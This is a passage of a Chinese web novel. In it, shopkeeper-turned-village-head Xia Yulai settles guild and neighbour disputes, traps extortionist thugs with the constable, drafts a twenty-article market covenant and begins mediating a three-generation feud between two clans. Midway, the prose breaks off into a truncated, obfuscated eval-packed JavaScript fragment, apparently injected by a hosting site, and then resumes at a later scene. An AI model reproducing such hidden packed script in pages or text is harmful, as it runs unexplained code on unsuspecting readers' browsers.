王虎和沈文轩立刻让人回去取自己的得意作品。没过多久,南京帮的伙计捧着一匹云锦走了过来,这匹云锦色彩鲜艳,图案精美,上面绣着龙凤呈祥的图案,栩栩如生,一看就是上等的好货。 苏州帮的伙计也捧着一幅苏绣走了过来,这幅苏绣绣的是一幅山水图,画面清新淡雅,针法细腻,仿佛真的置身于山水之间,让人赏心悦目。 刘客商仔细地打量着两件作品,时而点头,时而皱眉,看得非常认真。王虎和沈文轩都紧张地看着刘客商,心里七上八下的,生怕自己输了。 夏雨来站在一旁,心里也有些好奇,他想知道,到底是南京的云锦更胜一筹,还是苏州的苏绣更能打动刘客商。 过了好一会儿,刘客商终于放下了手里的作品,笑着说道:“两件作品都非常出色,各有各的优点。南京的云锦富丽堂皇,适合做嫁衣的主面料;苏州的苏绣清新淡雅,适合做嫁衣的配饰。要是能把两者结合起来,那就完美了!” 王虎和沈文轩都愣住了,他们没想到刘客商会这么说。 夏雨来眼睛一亮,立刻说道:“刘老板说得好!既然如此,不如南京帮和苏州帮合作,一起完成这笔生意。南京帮负责提供云锦主面料,苏州帮负责苏绣配饰,利润平分,怎么样?” 王虎和沈文轩对视一眼,都露出了犹豫的神色。他们之前一直是竞争对手,从来没有合作过,心里都有些不放心。 夏雨来看出了他们的顾虑,说道:“两位帮主,现在是合作共赢的时代。你们要是能合作,不仅能完成这笔大生意,还能强强联合,以后在县城里的绸缎生意中占据更大的优势。要是你们还是互相争斗,只会两败俱伤,让别人钻了空子。” 刘客商也说道:“夏小哥说得有道理。我这次订购的绸缎数量很大,而且要求很高,单凭一家的力量,恐怕很难按时完成。要是你们能合作,我可以给你们提高一成的价格!” 一成的价格可不是小数目,王虎和沈文轩都心动了。他们心里盘算着,合作不仅能赚更多的钱,还能避免以后再发生冲突,确实是个不错的选择。 王虎率先说道:“好!我同意合作!” 沈文轩也点了点头:“我也同意!不过,我们得先立下字据,明确双方的责任和利益,免得以后发生纠纷。” “没问题!” 夏雨来立刻让人拿来纸笔,写下了合作协议,明确了南京帮和苏州帮的责任、利益分配以及违约条款。 王虎和沈文轩仔细看了一遍协议,都没有异议,在上面签了字,按了手印。 刘客商看着这一幕,满意地笑了:“太好了!有了这份协议,我就放心了。夏小哥,真是多亏了你,不然我这生意还不知道怎么收场呢!” 夏雨来笑了笑,说道:“刘老板客气了,这都是我应该做的。” 围观的百姓们也纷纷拍手叫好,他们没想到,一场即将爆发的冲突,竟然被夏雨来这么轻易地化解了,而且还促成了南京帮和苏州帮的合作。 王虎和沈文轩也对夏雨来刮目相看,他们没想到,这个看似普通的杂货铺老板,竟然有这么大的本事,不仅化解了他们之间的矛盾,还为他们找到了一条共赢的道路。 “夏小哥,多谢你了!” 王虎拱了拱手,“以后要是有什么用得着我们南京帮的地方,你尽管开口!” 沈文轩也说道:“夏小哥,你真是我们的贵人!以后我们苏州帮也会记着你的好!” 夏雨来笑了笑,说道:“两位帮主客气了。以后大家都是街坊邻居,互相照应是应该的。希望你们以后能好好合作,不要再为了一点小事而争斗了。” “一定!一定!” 王虎和沈文轩连忙答应。 看着两人带着手下高高兴兴地离开,夏雨来心里也松了一口气。他知道,这只是一个开始,县城里的市井纠纷还有很多,他要做的事情还有很多。 三、地痞霸市扰民生,妙计惩恶安民心 解决了行帮争斗的事情后,夏雨来以为能清静几天,可没想到,县城里的地痞无赖又开始兴风作浪了。 这天傍晚,夏雨来关了杂货铺的门,准备回家吃饭。刚走到街角,就看到几个地痞无赖正在欺负一个卖花的小姑娘。这几个地痞是县城里出了名的泼皮,为首的叫孙三,平日里游手好闲,专干欺男霸女、敲诈勒索的勾当。 “小姑娘,这花不错啊,给哥哥们拿几朵来尝尝!” 孙三嬉皮笑脸地说道,伸手就要去抢小姑娘手里的花篮。 小姑娘吓得连连后退,眼里含着泪水,说道:“三位大爷,这花是我用来养家糊口的,不能给你们!” “养家糊口?” 孙三冷笑一声,“在这县城里,老子就是天!别说几朵花,就是你这小姑娘,老子想要,你也得给!” 旁边的两个地痞也跟着起哄:“就是!孙哥看上你的花,是你的福气!赶紧把花篮交出来,不然我们对你不客气!” 小姑娘吓得浑身发抖,却还是紧紧地抱着花篮,不肯松手。 夏雨来看到这一幕,心里的火气顿时上来了。他最看不惯这种欺负弱小的行为,尤其是这些地痞无赖,仗着自己人多势众,就为所欲为,简直无法无天。 他上前一步,大喝一声:“住手!光天化日之下,竟敢欺负一个小姑娘,你们还有没有王法?” 孙三等人回头一看,见是夏雨来,脸上露出了一丝忌惮。他们都听说过夏雨来的厉害,知道他连黑风帮都收拾了,自己这几个人根本不是他的对手。 但孙三仗着自己人多,又不想在手下面前丢面子,硬着头皮说道:“夏雨来,这事跟你没关系,识相的赶紧滚开,不然连你一起收拾!” “收拾我?” 夏雨来笑了笑,“就凭你们这几块料?上次李二狗也是这么跟我说的,结果怎么样?他现在还在衙门里蹲着呢!” 提到李二狗,孙三的脸色变了变。李二狗是县城里另一个地痞头子,上次因为敲诈勒索被夏雨来教训了一顿,还被送到了衙门,判了半年的刑。 孙三心里有些害怕,但还是嘴硬:“夏雨来,你别以为我们怕你!我们兄弟几个可不是好惹的!” “是吗?” 夏雨来一步步朝着孙三走去,眼神凌厉,“那我倒要看看,你们怎么个不好惹法!” 孙三的手下们被夏雨来的气势吓得连连后退,孙三也有些心虚了。他知道,真要是打起来,自己肯定讨不到好。但他又不想就这么认怂,心里盘算着怎么才能保住面子。 他眼珠一转,说道:“夏雨来,我们跟这小姑娘只是闹着玩呢,并没有真的要抢她的花。既然你来了,那我们就不跟她计较了,我们走!” 说着,孙三就要带着手下离开。 “想走?没那么容易!” 夏雨来拦住了他们,“你们欺负了人家小姑娘,就想这么算了?赶紧给她道歉,再赔偿她的损失!” 孙三心里不服气,但又不敢跟夏雨来硬拼,只好说道:“道歉可以,赔偿也行。不过,我们兄弟几个今天没带银子,明天一定给她送来!” “明天?” 夏雨来冷笑一声,“我看你们是想耍赖吧?今天要是不把事情解决了,谁也别想走!” 孙三知道,今天要是不赔偿,夏雨来肯定不会放过他们。他只好从怀里掏出几两碎银子,递给小姑娘:“给你,这是赔偿你的损失!” 小姑娘接过银子,连忙向夏雨来道谢:“多谢夏大哥!” 夏雨来摆了摆手,说道:“不用谢我,这是他们应该赔偿你的。你赶紧回家吧,以后别在这里摆摊了,免得再遇到这些地痞无赖。” 小姑娘点了点头,抱着花篮,高高兴兴地走了。 孙三看着夏雨来,心里恨得牙痒痒,却又无可奈何,只好带着手下灰溜溜地离开了。 看着他们离去的背影,夏雨来心里暗自琢磨:这孙三等人肯定不会这么轻易就改邪归正,以后还会继续欺压百姓。要是不彻底教训他们一顿,他们还会变本加厉。 他想起前几日听说,孙三等人不仅敲诈勒索小商贩,还私设关卡,在城外的必经之路上收取过路费,凡是经过的客商,都要被他们搜刮一番,很多客商都深受其害,却敢怒不敢言。 夏雨来心里有了主意,他决定好好整治一下这些地痞无赖,让他们知道,什么是王法,什么是规矩。 第二天一早,夏雨来找到了张捕头,把孙三等人的所作所为告诉了他。 张捕头听了,皱了皱眉:“这孙三等人确实太不像话了!之前就有百姓举报过他们,可每次我们去抓他们,他们都跑得无影无踪,等我们走了,他们又出来作恶。” 夏雨来说道:“张捕头,这次我们不能再让他们跑了。我有一个办法,可以把他们一网打尽!” “哦?什么办法?” 张捕头连忙问道。 夏雨来凑近张捕头,低声说了自己的计划。张捕头听了,连连点头:“好主意!夏小哥,还是你脑子聪明!就按你说的办!” 当天下午,夏雨来让一个可靠的伙计装扮成外地客商,推着一辆装满货物的马车,朝着城外走去。马车里装的并不是什么贵重货物,而是一些石头和沙子,只是表面上盖了一层绸缎,看起来像是值钱的东西。 孙三等人果然在城外的必经之路上设了关卡,看到伙计推着马车过来,立刻围了上去。 “小子,站住!” 孙三拦住了马车,嬉皮笑脸地说道,“想要从这里过,就得留下买路钱!” 伙计假装害怕,说道:“几位大爷,我只是个小商贩,身上没多少银子,求你们高抬贵手,放我过去吧!” “没银子?” 孙三冷笑一声,“没银子也敢走这条路?给我搜!” 几个地痞立刻上前,就要去搜马车。 就在这时,埋伏在周围的张捕头和捕快们立刻冲了出来,大喝一声:“不许动!都给我蹲下!” 孙三等人没想到会有埋伏,吓得魂飞魄散,想要逃跑,却被捕快们团团围住,根本跑不掉。 “张捕头,饶命啊!我们再也不敢了!” 孙三等人纷纷跪倒在地,不停地磕头求饶。 张捕头冷哼一声:“现在知道求饶了?你们之前欺负百姓的时候,怎么没想过会有今天?带走!” 捕快们立刻上前,把孙三等人捆了起来,押回了衙门。 经过审问,孙三等人如实交代了自己的罪行,不仅敲诈勒索小商贩,私设关卡收取过路费,还抢劫过外地客商的财物。证据确凿,县太爷当即判了孙三等人三年的有期徒刑,没收了他们的全部非法所得。 消息传到县城里,老百姓们无不拍手称快。那些曾经被孙三等人欺压过的商贩和百姓,更是激动得热泪盈眶,纷纷来到夏雨来的杂货铺,向他表示感谢。 “夏小哥,真是多亏了你,不然我们还得受孙三那些人的欺负!” “夏小哥,你就是我们的再生父母啊!以后我们再也不用怕那些地痞无赖了!” 夏雨来看着眼前这些朴实的百姓,心里充满了成就感。他知道,自己做的这些事情,都是值得的。 “大家客气了,这都是我应该做的。” 夏雨来笑着说道,“以后要是再遇到什么欺负人的事情,大家尽管告诉我,我一定不会让那些坏人逍遥法外!” 百姓们纷纷点头,心里对夏雨来更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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原来,王大妈的儿子得了重病,需要一大笔银子治病,她只好靠着种点菜,拿到集市上卖钱,勉强维持生计。现在菜被李大妈家的鸡啄了,她自然是又急又气。 李大妈也知道王大妈的难处,心里有些过意不去,但她也是个好面子的人,不愿意轻易认错。 夏雨来看着两人,心里明白了事情的原委。他知道,邻里之间的纠纷,往往都是因为一些小事引起的,要是处理不好,就会积怨越来越深,影响邻里关系。 他笑了笑,说道:“王大妈,李大妈,你们先别吵了。我看这事儿也不是什么大不了的事情,大家都是街坊邻居,互相体谅一下就过去了。” 他转向李大妈,说道:“李大妈,王大妈家的情况你也知道,她种点菜不容易,是为了给儿子治病。你家的鸡确实啄了她的菜,这是事实,你应该给她道歉。” 然后,他又转向王大妈,说道:“王大妈,李大妈也不是故意的,她可能也没想到鸡会跑到你家菜地里啄菜。现在事情已经发生了,再吵架也解决不了问题,不如我们想个办法,弥补你的损失。” 李大妈听夏雨来这么说,心里的气也消了不少。她叹了口气,说道:“夏小哥,你说得对。是我不对,我不该那么固执,不给王大妈道歉。王大妈,对不起,我给你赔不是了。” 王大妈看到李大妈道歉了,心里的委屈也少了一些。她说道:“其实我也不是故意要跟你吵架,只是我儿子的病实在是急用钱,我也是没办法。” 夏雨来说道:“既然李大妈已经道歉了,王大妈你也别太生气了。不如这样,李大妈,你赔偿王大妈一些银子,弥补她的损失。另外,以后你把鸡圈起来,别再让它们跑到王大妈家的菜地里了。王大妈,你也别太伤心了,我再帮你想想办法,看看能不能帮你儿子凑点医药费。” 李大妈连忙说道:“好!好!我这就给王大妈赔偿银子,以后我一定把鸡圈起来!” 她说着,从怀里掏出一两银子,递给王大妈:“王大妈,这是我赔偿你的,你别嫌少。” 王大妈接过银子,连忙说道:“不少了,不少了!李大妈,谢谢你!” 看着两人握手言和,夏雨来心里也松了一口气。他知道,邻里之间,最重要的就是互相体谅、互相包容。只要大家都能退一步,很多矛盾都能化解。 这件事之后,夏雨来觉得,县城里需要制定一些邻里之间的规矩,这样才能避免类似的纠纷再次发生。他想起前几日听说,巴南区的百姓们通过制定《居民公约》,解决了很多邻里之间的矛盾,效果非常好。 他决定效仿巴南区的做法,召集县城里的百姓,一起商议制定《市井公约》,规范大家的行为,让县城里的风气变得更加清正。 五、共商公约定规矩,市井风气日渐清 夏雨来的提议得到了县城里百姓们的一致赞同。大家都觉得,制定一份《市井公约》非常有必要,这样可以规范商家的经营行为,化解邻里之间的矛盾,让县城里的生活变得更加和谐。 几天后,夏雨来在县城的城隍庙召集了百姓们开会。城隍庙是县城里最热闹的地方,能容纳很多人。这天一早,城隍庙就挤满了人,有商贩、有农户、有手工艺人,还有一些退休的老人和上学的孩子,大家都想来参与《市井公约》的制定。 夏雨来站在城隍庙的戏台子上,看着台下黑压压的人群,心里充满了感慨。他没想到,自己一个普通的杂货铺老板,竟然能有这么大的号召力。 “各位乡亲父老,大家好!” 夏雨来清了清嗓子,大声说道,“今天召集大家来,是想和大家一起商议制定一份《市井公约》。大家都知道,最近县城里发生了很多事情,有牙行欺市的,有行帮争斗的,有地痞霸市的,还有邻里之间发生纠纷的。这些事情,不仅影响了大家的生活,还破坏了县城里的风气。所以,我觉得,我们需要制定一份公约,规范大家的行为,让我们的县城变得更加和谐、更加美好!” 台下的百姓们纷纷鼓掌,赞同夏雨来的说法。 “夏小哥说得好!我们早就该制定这样一份公约了!” “有了公约,那些欺负人的家伙就不敢再胡作非为了!” “我们支持夏小哥!” 夏雨来笑了笑,说道:“谢谢大家的支持!制定《市井公约》,不是我一个人的事情,而是大家共同的事情。所以,我希望大家都能积极发言,把自己的想法和建议说出来,我们一起商议,制定出一份大家都认可的公约。” 他话音刚落,台下就有人举手发言了。 第一个发言的是张屠户,他说道:“夏小哥,我觉得,公约里应该明确规定,牙行不准欺行霸市,不准乱抬物价,要按照官府规定的价格交易!” “我同意!” 立刻有人附和道,“还有,商家之间不准互相压价、抢客,要公平竞争!” 一个卖菜的老农说道:“我觉得,邻里之间应该互相体谅、互相帮助,不准因为一点小事就吵架、斗殴!还有,不准在公共场合乱扔垃圾,要保持环境整洁!” 一个手工艺人说道:“我觉得,商家要诚信经营,不准卖假货、次品,不准缺斤少两!要是违反了,就要受到惩罚!” 一个退休的老人说道:“我觉得,要尊老爱幼,不准欺负老人和孩子!还有,不准在夜里大声喧哗,影响别人休息!” 大家你一言,我一语,纷纷提出了自己的想法和建议。夏雨来认真地听着,把大家的建议一一记了下来。 经过一整天的商议,大家终于制定出了一份《市井公约》,共有二十条,涵盖了商业经营、邻里相处、公共秩序、道德规范等各个方面。 《市井公约》的主要内容包括: 1.商家要诚信经营,不准卖假货、次品,不准缺斤少两,违者赔偿顾客损失,并向顾客道歉; 2.牙行不准欺行霸市,不准乱抬物价,要按照官府规定的价格交易,违者取消牙行资格; 3.行帮之间要公平竞争,不准互相压价、抢客,不准斗殴,违者赔偿对方损失,并向对方道歉; 4.邻里之间要互相体谅、互相帮助,不准因为小事吵架、斗殴,不准侵犯他人权益,违者向对方道歉,并赔偿损失; 5.不准地痞无赖敲诈勒索、欺男霸女、私设关卡,违者交由官府处置; 6.要尊老爱幼,不准欺负老人和孩子,违者受到众人谴责,并向受害者道歉; 7.不准在公共场合乱扔垃圾、随地吐痰,要保持环境整洁,违者负责清理垃圾,并向众人道歉; 8.不准在夜里大声喧哗,影响别人休息,违者向邻居道歉; 9.商家要按时缴纳税费,不准偷税漏税,违者交由官府处置; 10.不准在集市上占道经营,要保持道路畅通,违者限期整改; 11.不准虐待动物,要爱护牲畜,违者受到众人谴责; 12.不准造谣传谣,散布虚假信息,违者向众人道歉,并澄清事实; 13.邻里之间有矛盾,要通过协商解决,不准动不动就诉诸武力,协商不成可以找乡贤讲理员调解; 14.要爱护公共设施,不准损坏城隍庙、魁星楼等公共建筑,违者赔偿损失,并向众人道歉; 15.不准赌博、□□,违者交由官府处置; 16.商家要明码标价,不准哄抬物价,违者赔偿顾客损失,并向顾客道歉; 17.不准在水源地大小便、乱扔垃圾,要保护水源清洁,违者负责清理,并向众人道歉; 18.要遵守交通规则,不准在道路上嬉戏打闹,不准堵塞交通,违者受到众人谴责; 19.不准欺负外来客商,要热情接待,诚信交易,违者向客商道歉,并赔偿损失; 20.凡违反《市井公约》者,轻者受到众人谴责,限期整改;重者交由官府处置,并在城隍庙公示其罪行。 《市井公约》制定好后,夏雨来让人把它写在木板上,挂在城隍庙的显眼位置,还抄了很多份,张贴在县城的各个角落,让大家都能看到、记住。 为了确保《市井公约》能够得到有效执行,夏雨来还提议成立了 “乡贤讲理堂”,由县城里德高望重的老人、有威望的商家和一些退休的官员组成乡贤讲理员队伍,负责调解邻里之间的矛盾和纠纷,监督《市井公约》的执行情况。 同时,夏雨来还和张捕头商量好,官府会全力支持《市井公约》的执行,对于违反公约、情节严重的人,官府会依法进行处置。 《市井公约》实施后,县城里的风气发生了翻天覆地的变化。商家们都诚信经营,再也没有欺行霸市、缺斤少两的现象了;行帮之间和睦相处,公平竞争,再也没有发生过争斗;地痞无赖们也收敛了很多,不敢再随意欺压百姓;邻里之间互相体谅、互相帮助,再也没有因为一点小事就吵架、斗殴的情况了。 县城里的集市变得更加热闹了,外地的客商也越来越多,大家都称赞这座县城风气好、人淳朴。 夏雨来的杂货铺生意也越来越红火,不仅因为他的货物齐全、价格公道,更因为大家都敬佩他的为人,愿意来他这里买东西。 这天,夏雨来正在杂货铺里忙碌,粮官王大人和师爷走了进来。 “夏小哥,恭喜恭喜啊!” 王大人笑着说道,“自从《市井公约》实施后,咱们县城的风气越来越好了,老百姓们安居乐业,这都是你的功劳啊!” 夏雨来连忙放下手里的活,说道:“王大人,您客气了!这都是大家共同努力的结果,我只是做了我应该做的事情。” 师爷也说道:“夏小哥,你真是个奇才!没想到你不仅能智斗黑风帮,还能制定出这么好的《市井公约》,把县城治理得井井有条。县太爷都对你赞不绝口呢!” 夏雨来笑了笑,说道:“能为县城里的百姓做点事情,我心里高兴。只要大家能过得好,我就满足了。” 王大人点了点头,说道:“夏小哥,你真是个为民着想的好青年!我已经向县太爷举荐了你,想让你担任县城的里正,负责管理县城的日常事务,不知道你愿不愿意?” 里正是县城里的基层官员,负责管理户籍、调解纠纷、维护治安等事务,虽然官阶不高,但权力不小。 夏雨来心里一动,他知道,担任里正后,他就能更好地为百姓们服务,让县城变得更加美好。但他又有些犹豫,他担心自己能力不足,无法胜任这个职位。 王大人看出了他的顾虑,说道:“夏小哥,你放心,县太爷和我都相信你有这个能力。而且,还有我们和乡贤讲理员队伍支持你,你一定能做好这个里正的。” 夏雨来想了想,终于点了点头:“好!王大人,我愿意担任里正!我一定会尽心尽力,为百姓们服务,不辜负您和县太爷的信任!” 王大人和师爷都高兴地笑了:“太好了!夏小哥,我们相信你一定能做得很好!” 就这样,夏雨来成了县城的里正。他上任后,更加努力地工作,每天都要到县城里四处巡查,了解百姓们的需求和困难,及时解决各种问题。 他还经常组织百姓们开展各种公益活动,比如清理街道、修缮公共设施、救助贫困百姓等,让县城变得更加整洁、更加和谐。 在夏雨来的努力下,这座县城越来越繁荣,越来越美丽。外地的人都纷纷前来定居、经商,县城里的人口越来越多,经济也越来越发达。 每当夜深人静的时候,夏雨来都会站在城隍庙的戏台上,看着这座灯火通明、充满生机的县城,心里充满了成就感。他知道,自己所做的一切,都是值得的。他守护的不仅是一座县城,更是百姓们的幸福和安宁。 “咚 —— 咚 —— 咚 ——” 三更的梆子声再次响起,夏雨来站在戏台上,望着天边的明月,脸上露出了欣慰的笑容。他知道,只要《市井公约》能够一直执行下去,只要百姓们能够团结一心,这座县城就会永远安宁,永远繁荣。 他笑了,笑得那么开心,那么坦荡。这一夜,他又将是一个无眠之夜,但他无怨无悔,因为他知道,自己肩上的责任重大,他要守护的,是整个县城的希望和未来。 46. 巧解家仇 一、戏台之下起干戈,两大家族动肝火 县城西头的戏台子,今儿个比城隍庙还热闹。 新戏班 “玉春班” 头回进城,唱的是红遍江南的《五女拜寿》,一大早戏台下就挤满了人,条凳上坐满了妇孺,男人们则扎堆站在两侧,手里攥着瓜子花生,嘴里哼着不成调的唱腔。夏雨来刚处理完杂货铺的活计,被张屠户硬拉着来凑趣,两人挤在人群后沿,刚找着块落脚的地方,就听见前排传来 “哗啦” 一声巨响。 “狗娘养的陆家崽子!你敢推我?” 一声怒骂像炸雷似的劈开戏场的喧闹,紧接着就是桌椅碰撞的脆响。夏雨来踮脚一瞧,只见戏台前第一排,两个穿着体面的中年汉子正扭作一团,周围的桌椅被掀翻了三张,茶水洒了一地,看戏的百姓吓得纷纷往后退,原本热闹的戏场瞬间乱成了一锅粥。 “是苏家的苏振邦和陆家的陆承业!” 张屠户咋舌道,“我的娘嘞,这俩煞神怎么凑一块儿了?这下有好戏看了!” 夏雨来心里咯噔一下。苏家与陆家,那可是县城里响当当的两大家族,祖上都是洪武年间迁来的,苏家以制瓷发家,祖上传下的 “霁蓝釉” 秘方,在江南一带颇有名气;陆家则靠造船起家,县城码头的漕运船只,十有八九都是陆家船厂打造的。这两家人,按理说一个制瓷一个造船,井水不犯河水,可夏雨来上任里正后就听说,这两家是世仇,已经斗了三代人,平日里见了面都得绕着走,今儿个怎么会在戏台上打起来? “住手!光天化日之下,竟敢在戏场斗殴,眼里还有没有《市井公约》?” 夏雨来快步上前,一把抓住苏振邦的胳膊。这苏振邦是苏家现任家主,四十多岁,身材微胖,脸上留着两撇八字胡,此刻气得脸红脖子粗,挣扎着喊道:“夏里正你别管!这陆家崽子欠揍,今天我非得教训教训他不可!” 被压在身下的陆承业也不甘示弱,他比苏振邦瘦些,但眼神凌厉,挣脱着骂道:“苏振邦你要点脸!明明是你家小子先占了我的位置,还敢倒打一耙?我陆家的人,什么时候轮得到你欺负!” “放你娘的屁!” 苏振邦怒喝道,“这第一排的位置,我昨天就叫伙计占好了,是你家下人蛮不讲理,非要往这儿挤,还敢推我家小儿,我看你是活腻歪了!” 两人越吵越凶,唾沫星子横飞,周围的百姓也议论纷纷。夏雨来一边拉架,一边观察着两人的神色:苏振邦脸上满是愤懑,眼底却藏着一丝积怨已久的恨意;陆承业虽然怒气冲冲,但说话时牙关紧咬,显然也是憋了一肚子火气。夏雨来心里明白,这绝不是简单的抢座位纠纷,背后肯定牵扯着两大家族的旧怨。 “都给我住口!” 夏雨来猛地加大力气,将两人分开,“戏场是公共场合,这么多人看着,你们两家都是县城的体面人家,就不怕被人笑话?有话好好说,要是再敢动手,我可就按《市井公约》办事,把你们都带到乡贤讲理堂去!” 提到《市井公约》和乡贤讲理堂,两人的火气顿时消了大半。如今夏雨来制定的《市井公约》在县城里执行得如火如荼,乡贤讲理堂的威慑力更是不小,要是真被带到那里去,不仅丢面子,还得受罚。苏振邦喘着粗气,指着陆承业说道:“好!看在夏里正的面子上,我今天不跟你一般见识!但这事儿没完,你给我等着!” 陆承业冷哼一声:“谁怕谁!我陆家还从没怕过你们苏家!” 夏雨来看着两人剑拔弩张的样子,心里暗自琢磨:这两家人的怨气这么深,今天要是不把事情解决好,以后肯定还会再起冲突。他清了清嗓子,说道:“苏当家,陆当家,既然是座位的事,我来给你们评评理。戏场的座位,本就该先到先得,没有谁提前占着就归谁的道理。不如这样,我让人再搬两张桌子来,你们两家各坐一边,互不打扰,怎么样?” 苏振邦和陆承业对视一眼,都没说话,但也没有反对。夏雨来立刻让戏班的伙计搬来两张桌子,又让人清理了地上的狼藉。戏班班主见状,连忙上台打圆场:“各位乡亲,刚才是误会,误会!咱们接着唱戏,接着唱戏!” 戏台上的锣鼓声再次响起,但台下的气氛却依旧紧张。苏振邦和陆承业各自坐回座位,却都没心思看戏,时不时地瞪着对方,眼神里满是敌意。夏雨来坐在两人中间,心里盘算着怎么才能打探出两家的旧怨根源。 “苏当家,” 夏雨来端起一杯茶,递给苏振邦,“我听说你家的霁蓝釉瓷器,最近在江南卖得很火啊,连苏州的知府大人都点名要你家的花瓶呢!” 苏振邦脸上露出一丝得意,端起茶杯抿了一口:“夏里正消息灵通!不瞒你说,我家的霁蓝釉,那可是祖传的手艺,火候差一点都不行。不过,这生意好做,麻烦也多啊!” “哦?什么麻烦?” 夏雨来故作好奇地问道。 苏振邦瞥了一眼旁边的陆承业,压低声音说道:“还不是有些人,见不得别人好!暗地里使绊子,抢生意也就罢了,还到处造谣,说我家的瓷器是次品,影响我家的声誉!” 陆承业闻言,立刻反驳道:“苏振邦你别含沙射影!谁抢你生意了?谁造谣了?分明是你家瓷器质量不行,还怪别人!我看你是做贼心虚!” “我做贼心虚?” 苏振邦猛地一拍桌子,“陆承业,你别忘了,当年要不是你爷爷耍阴招,我苏家能落到那般田地吗?这笔账,我还没跟你算呢!” 陆承业脸色一变,也拍案而起:“放你娘的屁!分明是你爷爷不讲信用,毁了两家的约定,还反过来污蔑我爷爷!我陆家的脸,都被你们苏家丢尽了!” 两人又要吵起来,夏雨来连忙拦住他们:“两位当家,有话好好说,别激动!到底是什么旧账,不妨说出来让我听听,说不定我能帮你们评评理呢?” 周围的百姓也纷纷附和:“是啊,苏当家,陆当家,有什么恩怨就说出来,让夏里正给你们评评理!” 苏振邦和陆承业对视一眼,都沉默了。过了好一会儿,苏振邦才叹了口气,说道:“既然夏里正问起,我就说说吧!这事儿,得从五十年前说起……” 二、五十年前旧恩怨,三代人来结仇怨 五十年前,苏家的当家人是苏振邦的爷爷苏老栓,陆家的当家人是陆承业的爷爷陆海川。 那时候,苏家的制瓷生意刚有起色,陆家的造船业也蒸蒸日上。县城的漕运发达,来往的客商络绎不绝,苏家的瓷器要靠陆家的船运到江南各地销售,而陆家的船,也需要苏家的瓷器作为压舱之物,防止船只在航行中颠簸。一来二去,两家就达成了合作协议,约定苏家的瓷器优先由陆家的船运输,陆家则给苏家优惠的运费,两家互利共赢,关系一度十分融洽。 “我爷爷和陆海川,当年还是拜把子兄弟呢!” 苏振邦感慨道,“那时候,两家经常来往,我父亲和陆承业的父亲,小时候还一起读书、一起玩耍,亲如手足。” 陆承业也点了点头,脸上露出一丝复杂的神色:“确实如此。我小时候听我父亲说,他和苏振邦的父亲,还一起偷过城隍庙的供果,被我爷爷狠狠揍了一顿。” “可谁知道,好景不长!” 苏振邦的语气突然变得愤怒,“十年后,江南的瓷器市场突然火爆起来,我家的霁蓝釉瓷器更是供不应求。有一次,我爷爷准备了一批价值五千两银子的瓷器,要运到苏州去,按照约定,让陆家的船运输。可没想到,陆海川那个老东西,竟然见利忘义,把我家的瓷器给扣了下来!” “你胡说!” 陆承业立刻反驳,“明明是你爷爷不讲信用!那批瓷器,本来约定好是当月十五发货,可你爷爷为了卖个好价钱,偷偷把瓷器卖给了另一家船行,还倒打一耙,说我爷爷扣了他的瓷器!” “我爷爷才不会干那种事!” 苏振邦怒喝道,“是陆海川见我家生意好,嫉妒心作祟,想要敲诈我爷爷!他说,要想拿回瓷器,就得给他一千两银子的‘保管费’,不然就把瓷器给砸了!我爷爷气不过,就跟他理论,结果被他的人给打了一顿,还被诬陷成‘盗窃’,关进了衙门大牢!” “放屁!” 陆承业气得浑身发抖,“是你爷爷先毁约,我爷爷去找他理论,他不仅不认错,还动手打人!我爷爷无奈之下,才报了官!衙门查明真相后,判你爷爷赔偿我家的损失,你爷爷不服,还大闹公堂,最后才被关进大牢的!” 两人各执一词,吵得面红耳赤。夏雨来听着,心里暗自琢磨:这事儿过去五十年了,死无对证,到底谁对谁错,还真不好说。但有一点可以肯定,这两家的恩怨,就是从那时候开始的。 “后来呢?” 夏雨来问道。 “后来,我爷爷在大牢里受了重伤,出来没多久就去世了!” 苏振邦红着眼睛说道,“我父亲恨透了陆家,从此就跟陆家断了来往,还立下规矩,苏家的人,不准跟陆家的人有任何瓜葛!” “我爷爷也被你爷爷打得卧床不起,没过几年就去世了!” 陆承业也红了眼睛,“我父亲也恨透了苏家,同样立下了规矩,陆家的人,不准跟苏家的人来往!” 就这样,两家的仇恨,从爷爷辈传到了父亲辈,又从父亲辈传到了苏振邦和陆承业这一辈。五十年来,两家不仅断绝了来往,还处处作对:苏家的瓷器,宁愿多花运费,也不找陆家的船运输;陆家的船,宁愿空着舱位,也不装苏家的瓷器。更有甚者,两家还在生意上互相打压,苏家降价,陆家就跟着降价;陆家抢了苏家的客户,苏家就抢陆家的生意,搞得两败俱伤。 “前几年,我想扩大瓷窑,需要一块空地,正好陆家有一块地要卖,我本来想跟他商量商量,结果他不仅不卖,还故意把地卖给了一个无赖,让那无赖在我瓷窑旁边建了个猪圈,搞得我瓷窑里全是臭味,生意都受影响了!” 苏振邦气愤地说道。 “你还好意思说!” 陆承业反驳道,“我去年想翻新船厂,需要一批木材,你故意跟木材商打招呼,让他们不准卖给我,害得我耽误了工期,损失了好几千两银子!” 两人你一言,我一语,诉说着这些年来彼此的 “恶行”,越说越激动,眼看又要动手。夏雨来连忙拦住他们:“两位当家,别激动!这些都是过去的事情了,再吵也解决不了问题。不如我们换个角度想想,五十年的恩怨,到底值不值得?” “不值得又怎么样?” 苏振邦说道,“这是我们两家的世仇,不能就这么算了!我爷爷的仇,我父亲的仇,我必须报!” “没错!” 陆承业说道,“我爷爷和父亲的仇,也不能白受!苏家一天不认错,我们陆家就一天不跟苏家和解!” 夏雨来看着两人固执的样子,心里暗自叹气:这两家的仇恨,已经根深蒂固了,想要一下子化解,确实不容易。但他也知道,要是任由这两家继续斗下去,不仅会影响两家的生意,还会破坏县城的风气。作为里正,他必须想办法化解这两家的恩怨。 “两位当家,” 夏雨来说道,“我知道你们心里都有气,也理解你们的心情。但仇恨就像一根绳子,捆着你们两家,也捆着你们自己。你们想想,这五十年来,你们两家因为这恩怨,损失了多少生意,得罪了多少人?要是你们能放下仇恨,联手合作,说不定能把生意做得更大,赚更多的银子,这难道不比互相打压强吗?” 苏振邦和陆承业都沉默了。夏雨来说的没错,这五十年来,两家因为恩怨,确实损失了不少。但要他们放下仇恨,跟仇家合作,他们又实在不甘心。 “夏里正,你别说了!” 